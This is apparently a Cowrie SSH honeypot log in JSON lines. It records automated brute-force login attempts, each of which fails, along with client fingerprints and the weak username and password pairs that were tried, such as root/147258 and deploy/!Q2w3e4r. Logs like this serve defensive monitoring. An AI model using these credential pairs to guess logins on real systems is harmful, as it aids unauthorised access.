{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:20:09.702081Z","src_ip":"45.156.87.147","session":"7100f73bac55","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:20:09.823706Z","src_ip":"45.156.87.147","session":"7100f73bac55","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"12345678","message":"login attempt [admin1/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:20:10.086516Z","src_ip":"45.156.87.147","session":"7100f73bac55","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:20:11.171728Z","src_ip":"45.156.87.147","session":"7100f73bac55","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":46072,"dst_ip":"10.17.0.5","dst_port":22,"session":"993ca5484289","protocol":"ssh","message":"New connection: 45.156.87.147:46072 (10.17.0.5:22) [session: 993ca5484289]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:20:15.677478Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:20:15.682206Z","src_ip":"45.156.87.147","session":"993ca5484289","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:20:15.770288Z","src_ip":"45.156.87.147","session":"993ca5484289","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kingbase","password":"kingbase","message":"login attempt [kingbase/kingbase] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:20:16.020695Z","src_ip":"45.156.87.147","session":"993ca5484289","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:20:17.107507Z","src_ip":"45.156.87.147","session":"993ca5484289","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":44496,"dst_ip":"10.17.0.5","dst_port":22,"session":"69821e95428c","protocol":"ssh","message":"New connection: 45.156.87.147:44496 (10.17.0.5:22) [session: 69821e95428c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:20:21.378509Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:20:21.383588Z","src_ip":"45.156.87.147","session":"69821e95428c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:20:21.467958Z","src_ip":"45.156.87.147","session":"69821e95428c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"!Q2w3e4r","message":"login attempt [deploy/!Q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:20:21.897019Z","src_ip":"45.156.87.147","session":"69821e95428c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:20:22.985446Z","src_ip":"45.156.87.147","session":"69821e95428c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":44498,"dst_ip":"10.17.0.5","dst_port":22,"session":"4bdc4fc262d7","protocol":"ssh","message":"New connection: 45.156.87.147:44498 (10.17.0.5:22) [session: 4bdc4fc262d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:20:27.310042Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:20:27.318537Z","src_ip":"45.156.87.147","session":"4bdc4fc262d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:20:27.401318Z","src_ip":"45.156.87.147","session":"4bdc4fc262d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vm","password":"vm","message":"login attempt [vm/vm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:20:27.657836Z","src_ip":"45.156.87.147","session":"4bdc4fc262d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:20:28.752900Z","src_ip":"45.156.87.147","session":"4bdc4fc262d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":58432,"dst_ip":"10.17.0.5","dst_port":22,"session":"994f394615b6","protocol":"ssh","message":"New connection: 45.156.87.147:58432 (10.17.0.5:22) [session: 994f394615b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:20:33.095420Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:20:33.099424Z","src_ip":"45.156.87.147","session":"994f394615b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:20:33.182207Z","src_ip":"45.156.87.147","session":"994f394615b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"147258","message":"login attempt [root/147258] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:20:33.433347Z","src_ip":"45.156.87.147","session":"994f394615b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:20:34.518048Z","src_ip":"45.156.87.147","session":"994f394615b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":58434,"dst_ip":"10.17.0.5","dst_port":22,"session":"2840c4046c8a","protocol":"ssh","message":"New connection: 45.156.87.147:58434 (10.17.0.5:22) [session: 2840c4046c8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:20:39.077698Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:20:39.118934Z","src_ip":"45.156.87.147","session":"2840c4046c8a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:20:39.165159Z","src_ip":"45.156.87.147","session":"2840c4046c8a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"1234","message":"login attempt [solana/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:20:39.621509Z","src_ip":"45.156.87.147","session":"2840c4046c8a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:20:40.704982Z","src_ip":"45.156.87.147","session":"2840c4046c8a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":57636,"dst_ip":"10.17.0.5","dst_port":22,"session":"6178fe840ffa","protocol":"ssh","message":"New connection: 27.71.230.31:57636 (10.17.0.5:22) [session: 6178fe840ffa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:20:42.964206Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:20:42.995570Z","src_ip":"27.71.230.31","session":"6178fe840ffa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:20:43.264878Z","src_ip":"27.71.230.31","session":"6178fe840ffa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":42290,"dst_ip":"10.17.0.5","dst_port":22,"session":"fdf76dd90571","protocol":"ssh","message":"New connection: 45.156.87.147:42290 (10.17.0.5:22) [session: fdf76dd90571]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:20:45.056386Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:20:45.060337Z","src_ip":"45.156.87.147","session":"fdf76dd90571","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:20:45.147066Z","src_ip":"45.156.87.147","session":"fdf76dd90571","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwer1234","message":"login attempt [root/qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:20:45.395869Z","src_ip":"45.156.87.147","session":"fdf76dd90571","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:20:46.482960Z","src_ip":"45.156.87.147","session":"fdf76dd90571","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":34840,"dst_ip":"10.17.0.5","dst_port":22,"session":"ea7a78bb1b10","protocol":"ssh","message":"New connection: 45.156.87.147:34840 (10.17.0.5:22) [session: ea7a78bb1b10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:20:51.035923Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:20:51.042084Z","src_ip":"45.156.87.147","session":"ea7a78bb1b10","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:20:51.129282Z","src_ip":"45.156.87.147","session":"ea7a78bb1b10","protocol":"ssh"}
